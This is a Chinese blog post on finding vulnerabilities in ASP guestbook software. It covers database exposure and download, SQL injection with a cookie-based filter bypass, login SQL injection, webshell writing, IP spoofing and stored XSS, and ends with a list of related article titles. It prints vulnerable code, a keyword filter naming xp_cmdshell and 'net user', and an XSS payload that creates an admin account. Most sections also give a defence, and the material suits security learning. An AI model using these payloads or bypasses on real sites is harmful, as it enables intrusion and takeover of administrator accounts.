留言本的漏洞挖掘总结
留言本的功能比较单一,一般针对普通浏览者只有留言的功能。而对于管理员的功能多少在于编写着对留言本的优化。一般管理员有回复留言编辑留言删除留言还有网站用户修改网站基础(类似与标题等)修改。
常见漏洞①
Conn.asp暴库漏洞
测试程序:粑粑工作室留言本2.0
漏洞代码:
<%
dim conn,mydb,db,rs
db=dbstr&"data/#baba@yaoyao520.mdb"
AccessPath=dbstr&"data"
Set Conn = Server.CreateObject("ADODB.Connection")
mydb="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")
Conn.Open Mydb
%>
其实这个也不算上漏洞代码,针对这个漏洞的原因大家可以看看vip脚本入侵教程的[第5课]暴库的原理和实践
'C:\Inetpub\111\留言本2.0\include\data\#baba@yaoyao520.mdb'
看到这段了吧。正常的数据库文件在C:\Inetpub\111\留言本2.0\data\#baba@yaoyao520.mdb这里。
防范方法:
直接在conn.asp加入容错语句。
常见漏洞②
数据库下载漏洞
其实数据库所谓数据库下载漏洞呢,有两种。
1. 默认数据库下载。
因为很多人不怎么在乎留言本安全所以很多人都用默认的数据库。导致可以下载。
2. 利用暴库漏洞获取数据库,然后进行下载。下载方法如上所述。
防范方法:
1. 修改默认数据库地址。
2. 添加防下载表
常见漏洞③
注射漏洞
这里的注射漏洞跟普通注射漏洞一样。由于没找到特好的实例,所以把前面的代码改了一下。
测试程序:粑粑工作室留言本2.0
去掉了conn.asp的方注射代码。
gshow.asp
set rs=server.CreateObject("adodb.recordset")
sql="select * from gonggao where id="&request.QueryString("id")
rs.open sql,conn,1,3
但是这里程序conn.asp有防注入代码。
代码如下:
<%
'--------定义部份------------------
Dim XH_Post,XH_Get,XH_In,XH_Inf,XH_Xh,XH_db,XH_dbstr
'自定义需要过滤的字串,用 "|" 分隔
XH_In = "'|;|and|exec|insert|select|delete%20from|update|count|*|%|chr|mid|master|truncate|char|declare|drop%20table|from|net%20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"
'----------------------------------
%>
<%
XH_Inf = split(XH_In,"|")
'--------POST部份------------------
If Request.Form<>"" Then
For Each XH_Post In Request.Form
For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.Form(XH_Post)),XH_Inf(XH_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('提交内容非法!有事加我QQ:253436577');</Script>"
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作Ip:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:post<br>"
Response.Write "提交参数:"&XH_Post&"<br>"
Response.Write "提交数据:"&Request.Form(XH_Post)
Response.Write "<Script Language=JavaScript>alert('提交内容非法!有事加我QQ:253436577');window.close();</Script>"
Response.End
End If
Next
Next
End If
'----------------------------------
'--------GET部份-------------------
If Request.QueryString<>"" Then
For Each XH_Get In Request.QueryString
For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.QueryString(XH_Get)),XH_Inf(XH_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('提交内容非法!有事加我QQ:253436577');</Script>"
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作Ip:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交参数:"&XH_Get&"<br>"
Response.Write "提交数据:"&Request.QueryString(XH_Get)
Response.Write "<Script Language=JavaScript>alert('提交内容非法!有事加我QQ:253436577');window.close();</Script>"
Response.End
End If
Next
Next
End If
'----------------------------------
%>
大家一定对这段代码比较熟悉。标准的防注入程序。只要是对近来一年内的注射有了解就知道这段代码没做cookie过滤导致我们可以利用cookie注射了。
防范方法:
1. 添加cookie防注入代码
2. 对获取变量进行过滤。
常见漏洞④
后台验证漏洞
简单来说这个就是变形的sql注射漏洞。
测试程序:心情故事屋留言本系统
checkpass.asp
<!--#include file="conn.asp"-->
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<%
admin=request.form("admin") '定义admin的值是表单传过来的用户名域名称admin
password=request.form("password") '定义password的值是表单传过来的用户名域名称password
if admin="" or password="" then '这句的意思是假如用户名和密码没有输入的话那么执行下一句
response.Write("<script language=javascript>alert('请填写完整!');history.go(-1)</script>") '用javascript脚本提示用户
end if '结束if语句
sql="select * from admin where admin='"&admin&"' and password='"&password&"'" '查询admin表中的admin和password两个字段
set rs=conn.execute(sql) '设定记录集rs,用conn执行SQL语句
if rs.eof or rs.bof then '当没有符合筛选结果时,则执行下面的句子
response.write "<script language=javascript>"
response.write "alert('用户或密码不对!');"
response.write "javascript:history.go(-1);"
response.write "</script>" '用javascript脚本提示用户
else '如果符合条件的时候
session("admin")=admin '新建session,值等于表单传来的用户名
response.write"<SCRIPT language=JavaScript>alert('登陆成功');"
response.write"this.location.href='mymanage.asp';</SCRIPT>"
end if '结束if语句
防范方法:
这种漏洞直接过滤“’”就行。
但是针对注射一定要进行全面过滤。
常见漏洞⑤
数据库写入漏洞
这种漏洞我在找代码的过程中也比较费劲,有些利用比较费劲所以我改一下。让利用比较直接。
Index.asp
Id=Request.Querystring("Id")
Books_mingzi=htmlencode(Request.form("mingzi"))
If Books_mingzi="" then Books_mingzi="匿名者" End If
Books_biaoti=htmlencode(Request.form("biaoti"))
Books_neirong=htmlencode(Request.form("neirong"))
在这里利用了htmlencode过了了,我们随便利用某一个去掉过滤然后进行测试就可以了。
我这里去掉了neirong前面的htmlencode。
直接利用蓝屏一句话提交就可以了。
好了简单的写入讲解了。
我们再看这个代码中的相对来说不简单的写入。
(这里我没做实际测试,但是记得好像06年有人专门为这个写过文章,针对php的,所以估计asp也差不多。)
Set mRs= Server.CreateObject("adodb.recordSet")
mRs.open "Select * from dqe_gustbook", conn, 1, 3
mRs.addnew
mRs("who") = Books_mingzi
mRs("biaoti") = Books_biaoti
mRs("neirong") = Books_neirong
mRs("lanmu") = lanmu
mRs("zhiding") = 0
mRs("shijian") = now()
UserIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If UserIP = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
mRs("ip") = UserIP
mRs.update
mRs.close
这里UserIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If UserIP = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
因为"HTTP_X_FORWARDED_FOR"这个值是通过获取HTTP头的"X_FORWARDED_FOR"属性取得.所以这里就提供给恶意破坏者一个办法:可以伪造IP地址!
针对这个我只说这么多,希望大家自己继续在研究。
还有很多过滤形式可以绕过,希望大家发挥自己的创新能力。共享自己的技巧。
常见漏洞⑥
嵌入xss漏洞
这次是利用深度学习(asp)留言板,也就是本次黑客防线挑战议题。
从后台登陆访问浏览信息就看跨站效果了。
接下来就是利用跨站来获取我们需要做的操作了。
这次议题我让大家修改留言贴倒数第二个留言信息。
本次议题到目前为止就一人完成,冰雪风谷[Z.S.T]。
我这里就直接利用他写的ajax代码来完成本次的教学。
function getXHR() {
var xhr = null
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else if (window.createRequest) {
xhr = window.createRequest();
} else if (window.ActiveXObject) {
try {
xhr = new ActiveXObject('Msxml2.XMLHTTP');
} catch( E ) {
try {
xhr = new ActiveXObject('Microsoft.XMLHTTP');
} catch(E) {}
}
}
return xhr;
}
var ajax = getXHR();
ajax.open('POST','/admin/guestBook/guestBook_update.asp',false);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send("guestName=test&guestContent=bingxuefenggu&guest_ID=19");//
ajax.onreadystatechange=function() {}
var ajax1 = getXHR();
ajax1.open('POST','/admin/adminUser/adminUser_Add.asp',false);
ajax1.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax1.send("UserName=test&password1=test");
防范方法:
Function htmlencode(fString)
If not isnull(fString) then
fString = replace(fString, ">", ">")
fString = replace(fString, "<", "<")
fString = Replace(fString, CHR(32), " ")
fString = Replace(fString, CHR(9), " ")
fString = Replace(fString, CHR(34), """)
fString = Replace(fString, CHR(39), "'")
fString = Replace(fString, CHR(13), "")
fString = Replace(fString, CHR(10) & CHR(10), "</p><p> ")
fString = Replace(fString, CHR(10), "<br> ")
htmlencode = fString
End If
End Function
常见漏洞⑦
URL xss漏洞
针对URL跨站我就不想讲太多了,跟上面嵌入xss差不多。
大家可以看看动网多个URL xss跨站漏洞
转载于:https://www.cnblogs.com/milantgh/p/3617824.html
留言本的漏洞挖掘总结相关推荐
- 漏洞 立即留言_漏洞挖掘小白入坑指南
文章出处:FreeBuf 文章链接:http://www.freebuf.com/articles/neopoints/144967.html 写在前面的话在此之前,很多朋友都曾通过电子邮件在我直播的 ...
- 漏洞挖掘——实验12 Cross-Site Scripting (XSS) Attack Lab
漏洞挖掘前言 题目 Lab Cross-Site Scripting (XSS) Attack Lab Pre 1.名词解释:double free,UAF (Use After Free),RELR ...
- c++ 界面交互影响处理代码执行速度_原创 | 某SCADA的远程代码执行漏洞挖掘与利用...
作者 | 绿盟科技格物实验室 陈杰 前言 近年来网络安全形势日渐严峻,国内外都开始对工控安全越来越重视,而工控领域由于常年来对安全的忽视,导致暴露出数量惊人的严重安全漏洞,更为严重的是,相当一部分厂商 ...
- 【安全牛学习笔记】手动漏洞挖掘(三)
手动漏洞挖掘 Directory travarsal / File include(有区别/没区别) 目录权限限制不严 / 文件包含 /etc/php5/cgi/php.ini allow_url_i ...
- shodan 渗透测试 漏洞挖掘 一些用法
渗透测试中,第一阶段就是信息搜集,这一阶段完成的如何决定了你之后的进行是否顺利,是否更容易.而关于信息收集的文章网上也是有太多.今天我们来通过一些例子来讲解如何正确使用Shodan这一利器. 想要利用 ...
- ie 打开后端发过来的pdf_某办公软件PDF阅读器漏洞挖掘及Crash分析
摘要 本文主要讲述如何利用winafl对***pdf阅读器程序进行漏洞挖掘的过程. 准备 winafl.DynamoRIO ***pdf(11.6.0.8537)32位 测试环境:win7 32位.4 ...
- 某设备产品漏洞挖掘-从JS文件挖掘RCE
前言 某次渗透过程中碰到了个设备产品,通过一些黑盒测试小技巧获取目标权限 信息收集 [点击获取网络安全学习资料·攻略] 2000多本网络安全系列电子书 网络安全标准题库资料 项目源码 网络安全基础入门 ...
- 【安全漏洞】一次前台任意文件下载漏洞挖掘
1.起因 日常闲逛,翻到了某后台系统 先是日常手法操作了一番,弱口令走起 admin/123456 yyds! U1s1,这个后台功能点少的可怜,文件上传点更是别想 不过那个备份管理的界面引起了我的兴 ...
- 漏洞挖掘 符号执行_简述符号执行
前言 符号执行 (Symbolic Execution)是一种程序分析技术,它可以通过分析程序来得到让特定代码区域执行的输入.顾名思义,使用符号执行分析一个程序时,该程序会使用符号值作为输入,而非一般 ...
最新文章
- Docker Dockerfile
- vs2015编译linux源码,使用Visual Studio 2017(VS2017)编译OpenCC 1.0.4 (Open Chinese Convert)源代码...
- mysql突然要注册_mysql跳过登陆注册,找回root密码 (window平台)
- 模24的8421BCD码计数器(Verilog HDL语言描述)(仿真与综合)
- mysql数据库对象关系映射
- KVM之EPT与影子页表(七)
- Android studio 克隆分支
- 杀死应用进程 android,如何杀死Android应用程序启动的logcat进程?
- 7-11 堆栈操作合法性 (20 分)以及堆栈讲解(c语言实现)
- CSS基础「七」精灵图 \ 字体图标 \ 三角 \ 用户界面样式 \ 页面初始化
- ElasticSearch多字段查询best_fieldsmost_fields
- 95-134-116-源码-维表-kafka维表关联:广播方式
- 光山二高2021高考成绩查询,光山县第二高级中学2019高考成绩和历年成绩汇总
- 伟豪带你逛郑州商业技师学院⑨:电气工程系
- 图像识别(五)| 春天花开却不识?打开百度识图,残差和卷积带你识遍路边野花
- excel合并两列内容_excel新手问题:怎么把两列数据合并到一起?用这个公式
- error: ‘xcb_generic_event_t’ was not declared in this scope
- android 软解8k视频,一种基于CPU的8K超高清视频高速解码方法与流程
- 从单机到2000万 QPS 并发的 Redis 高性能缓存实践之路
- Kotlin ?.let 、!! 、?:等运算符的使用